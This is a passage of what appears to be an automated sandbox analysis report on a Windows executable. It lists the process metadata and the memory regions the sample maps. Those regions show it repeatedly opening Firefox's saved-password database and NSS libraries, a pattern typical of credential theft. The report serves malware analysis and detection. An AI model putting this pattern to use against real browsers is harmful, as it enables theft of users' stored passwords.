[146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0066.436] NtResumeThread (in: ThreadHandle=0xcc, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0066.436] ExitProcess (uExitCode=0x0) Thread: id = 2 os_tid = 0x990 Process: id = "2" image_name = "3838612080743901967.exe" filename = "c:\\users\\eebsym5\\desktop\\3838612080743901967.exe" page_root = "0x7ef4f380" os_pid = "0xa4c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x978" cmd_line = "\"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" " cur_dir = "C:\\Users\\EEBsYm5\\Desktop\\" os_username = "CRH2YWU7\\EEBsYm5" os_groups = "CRH2YWU7\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f0e7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 328 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 329 start_va = 0x30000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 330 start_va = 0x130000 end_va = 0x133fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 331 start_va = 0x400000 end_va = 0x418fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 332 start_va = 0x77e80000 end_va = 0x77e80fff entry_point = 0x77e80000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 333 start_va = 0x77ec0000 end_va = 0x77ffbfff entry_point = 0x77ec0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 334 start_va = 0x7ffb0000 end_va = 0x7ffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 335 start_va = 0x7ffde000 end_va = 0x7ffdefff entry_point = 0x0 region_type = private name = "private_0x000000007ffde000" filename = "" Region: id = 336 start_va = 0x7ffdf000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007ffdf000" filename = "" Region: id = 337 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 339 start_va = 0x600000 end_va = 0x6fffff entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 340 start_va = 0x75f70000 end_va = 0x75fb9fff entry_point = 0x75f70000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 341 start_va = 0x761d0000 end_va = 0x762a3fff entry_point = 0x761d0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 342 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 343 start_va = 0x150000 end_va = 0x1b6fff entry_point = 0x150000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 344 start_va = 0x210000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 345 start_va = 0x220000 end_va = 0x2e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 346 start_va = 0x73120000 end_va = 0x73126fff entry_point = 0x73120000 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 347 start_va = 0x75580000 end_va = 0x75596fff entry_point = 0x75580000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 348 start_va = 0x75ed0000 end_va = 0x75edafff entry_point = 0x75ed0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 349 start_va = 0x75f40000 end_va = 0x75f4bfff entry_point = 0x75f40000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 350 start_va = 0x76050000 end_va = 0x7616cfff entry_point = 0x76050000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 351 start_va = 0x762b0000 end_va = 0x762cefff entry_point = 0x762b0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 352 start_va = 0x762d0000 end_va = 0x762d5fff entry_point = 0x762d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 353 start_va = 0x762e0000 end_va = 0x762f8fff entry_point = 0x762e0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 354 start_va = 0x76300000 end_va = 0x76356fff entry_point = 0x76300000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 355 start_va = 0x763f0000 end_va = 0x765eafff entry_point = 0x763f0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 356 start_va = 0x765f0000 end_va = 0x765f9fff entry_point = 0x765f0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 357 start_va = 0x76600000 end_va = 0x766f4fff entry_point = 0x76600000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 358 start_va = 0x76700000 end_va = 0x7679ffff entry_point = 0x76700000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 359 start_va = 0x767a0000 end_va = 0x773e9fff entry_point = 0x767a0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 360 start_va = 0x773f0000 end_va = 0x7748cfff entry_point = 0x773f0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 361 start_va = 0x77510000 end_va = 0x77544fff entry_point = 0x77510000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 362 start_va = 0x77550000 end_va = 0x775f0fff entry_point = 0x77550000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 363 start_va = 0x77690000 end_va = 0x7771efff entry_point = 0x77690000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 364 start_va = 0x77720000 end_va = 0x777cbfff entry_point = 0x77720000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 365 start_va = 0x77830000 end_va = 0x77965fff entry_point = 0x77830000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 366 start_va = 0x77970000 end_va = 0x77acbfff entry_point = 0x77970000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 367 start_va = 0x77ad0000 end_va = 0x77b98fff entry_point = 0x77ad0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 368 start_va = 0x77ba0000 end_va = 0x77c6bfff entry_point = 0x77ba0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 369 start_va = 0x77c80000 end_va = 0x77ccdfff entry_point = 0x77c80000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 370 start_va = 0x7f6f0000 end_va = 0x7f7effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f6f0000" filename = "" Region: id = 371 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 372 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 373 start_va = 0x2f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002f0000" filename = "" Region: id = 374 start_va = 0x420000 end_va = 0x47bfff entry_point = 0x420000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 375 start_va = 0x700000 end_va = 0x12fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 376 start_va = 0x420000 end_va = 0x47bfff entry_point = 0x420000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 377 start_va = 0x75e20000 end_va = 0x75e2bfff entry_point = 0x75e20000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 378 start_va = 0x74d30000 end_va = 0x74d6ffff entry_point = 0x74d30000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 379 start_va = 0x420000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 380 start_va = 0x420000 end_va = 0x4fefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 381 start_va = 0x530000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 382 start_va = 0x747b0000 end_va = 0x747c0fff entry_point = 0x747b0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 383 start_va = 0x747a0000 end_va = 0x747a8fff entry_point = 0x747a0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 384 start_va = 0x75d70000 end_va = 0x75d88fff entry_point = 0x75d70000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 385 start_va = 0x74790000 end_va = 0x7479efff entry_point = 0x74790000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 386 start_va = 0x74780000 end_va = 0x7478efff entry_point = 0x74780000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 387 start_va = 0x6fa60000 end_va = 0x6fc9ffff entry_point = 0x6fa60000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 388 start_va = 0x72e90000 end_va = 0x72e9cfff entry_point = 0x72e90000 region_type = mapped_file name = "pstorec.dll" filename = "\\Windows\\System32\\pstorec.dll" (normalized: "c:\\windows\\system32\\pstorec.dll") Region: id = 389 start_va = 0x741f0000 end_va = 0x74203fff entry_point = 0x741f0000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 390 start_va = 0x1300000 end_va = 0x13fffff entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 391 start_va = 0x1400000 end_va = 0x16cefff entry_point = 0x1400000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 392 start_va = 0x7ffdd000 end_va = 0x7ffddfff entry_point = 0x0 region_type = private name = "private_0x000000007ffdd000" filename = "" Region: id = 393 start_va = 0x75e00000 end_va = 0x75e1afff entry_point = 0x75e00000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 394 start_va = 0x570000 end_va = 0x5effff entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 395 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 396 start_va = 0x16d0000 end_va = 0x17d0fff entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 397 start_va = 0x16d0000 end_va = 0x17d0fff entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 398 start_va = 0x16d0000 end_va = 0x17d0fff entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 399 start_va = 0x16d0000 end_va = 0x17d0fff entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 400 start_va = 0x16d0000 end_va = 0x17d0fff entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 401 start_va = 0x16d0000 end_va = 0x171ffff entry_point = 0x16d0000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite") Region: id = 402 start_va = 0x6ddb0000 end_va = 0x6df64fff entry_point = 0x6ddb0000 region_type = mapped_file name = "nss3.dll" filename = "\\Program Files\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files\\mozilla firefox\\nss3.dll") Region: id = 403 start_va = 0x6f3f0000 end_va = 0x6f421fff entry_point = 0x6f3f0000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 404 start_va = 0x72dd0000 end_va = 0x72e8efff entry_point = 0x72dd0000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\System32\\msvcr100.dll" (normalized: "c:\\windows\\system32\\msvcr100.dll") Region: id = 405 start_va = 0x728e0000 end_va = 0x72901fff entry_point = 0x728e0000 region_type = mapped_file name = "mozglue.dll" filename = "\\Program Files\\Mozilla Firefox\\mozglue.dll" (normalized: "c:\\program files\\mozilla firefox\\mozglue.dll") Region: id = 406 start_va = 0x70230000 end_va = 0x70298fff entry_point = 0x70230000 region_type = mapped_file name = "msvcp100.dll" filename = "\\Windows\\System32\\msvcp100.dll" (normalized: "c:\\windows\\system32\\msvcp100.dll") Region: id = 407 start_va = 0x16d0000 end_va = 0x178ffff entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 408 start_va = 0x1790000 end_va = 0x188ffff entry_point = 0x0 region_type = private name = "private_0x0000000001790000" filename = "" Region: id = 409 start_va = 0x1890000 end_va = 0x198ffff entry_point = 0x0 region_type = private name = "private_0x0000000001890000" filename = "" Region: id = 410 start_va = 0x1900000 end_va = 0x19fffff entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 411 start_va = 0x728b0000 end_va = 0x728d6fff entry_point = 0x728b0000 region_type = mapped_file name = "softokn3.dll" filename = "\\Program Files\\Mozilla Firefox\\softokn3.dll" (normalized: "c:\\program files\\mozilla firefox\\softokn3.dll") Region: id = 412 start_va = 0x72890000 end_va = 0x728a6fff entry_point = 0x72890000 region_type = mapped_file name = "nssdbm3.dll" filename = "\\Program Files\\Mozilla Firefox\\nssdbm3.dll" (normalized: "c:\\program files\\mozilla firefox\\nssdbm3.dll") Region: id = 413 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x1e0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 414 start_va = 0x1f0000 end_va = 0x1f6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 415 start_va = 0x200000 end_va = 0x201fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 416 start_va = 0x1a00000 end_va = 0x1df2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001a00000" filename = "" Region: id = 417 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x1e0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 418 start_va = 0x701e0000 end_va = 0x7022efff entry_point = 0x701e0000 region_type = mapped_file name = "freebl3.dll" filename = "\\Program Files\\Mozilla Firefox\\freebl3.dll" (normalized: "c:\\program files\\mozilla firefox\\freebl3.dll") Region: id = 419 start_va = 0x16d0000 end_va = 0x171ffff entry_point = 0x16d0000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite") Region: id = 420 start_va = 0x1780000 end_va = 0x178ffff entry_point = 0x0 region_type = private name = "private_0x0000000001780000" filename = "" Region: id = 421 start_va = 0x1e00000 end_va = 0x1f00fff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 422 start_va = 0x1e00000 end_va = 0x1f00fff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 423 start_va = 0x1e00000 end_va = 0x1f00fff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 424 start_va = 0x16d0000 end_va = 0x171ffff entry_point = 0x16d0000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite") Region: id = 425 start_va = 0x16d0000 end_va = 0x171ffff entry_point = 0x16d0000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite") Region: id = 426 start_va = 0x1e00000 end_va = 0x1f00fff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 427 start_va = 0x1e00000 end_va = 0x1f00fff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 428 start_va = 0x1e00000 end_va = 0x1f00fff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 429 start_va = 0x16d0000 end_va = 0x171ffff entry_point = 0x16d0000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite") Region: id = 430 start_va = 0x70200000 end_va = 0x70226fff entry_point = 0x70200000 region_type = mapped_file name = "softokn3.dll" filename = "\\Program Files\\Mozilla Firefox\\softokn3.dll" (normalized: "c:\\program files\\mozilla firefox\\softokn3.dll") Region: id = 431 start_va = 0x728c0000 end_va = 0x728d6fff entry_point = 0x728c0000 region_type = mapped_file name = "nssdbm3.dll" filename = "\\Program Files\\Mozilla Firefox\\nssdbm3.dll" (normalized: "c:\\program files\\mozilla firefox\\nssdbm3.dll") Region: id = 432 start_va = 0x701b0000 end_va = 0x701fefff entry_point = 0x701b0000 region_type = mapped_file name = "freebl3.dll" filename = "\\Program Files\\Mozilla Firefox\\freebl3.dll" (normalized: "c:\\program files\\mozilla firefox\\freebl3.dll") Region: id = 433 start_va = 0x16d0000 end_va = 0x171ffff entry_point = 0x16d0000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite") Region: id = 434 start_va = 0x1e00000 end_va = 0x1f00fff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 435 start_va = 0x1e00000 end_va = 0x1f00fff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 436 start_va = 0x1e00000 end_va = 0x1f00fff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 437 start_va = 0x16d0000 end_va = 0x171ffff entry_point = 0x16d0000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite") Region: id = 438 start_va = 0x16d0000 end_va = 0x171ffff entry_point = 0x16d0000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite") Region: id = 439 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 440 start_va = 0x77600000 end_va = 0x77682fff entry_point = 0x77600000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 441 start_va = 0x500000 end_va = 0x500fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 442 start_va = 0x6df70000 end_va = 0x6e9effff entry_point = 0x6df70000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: 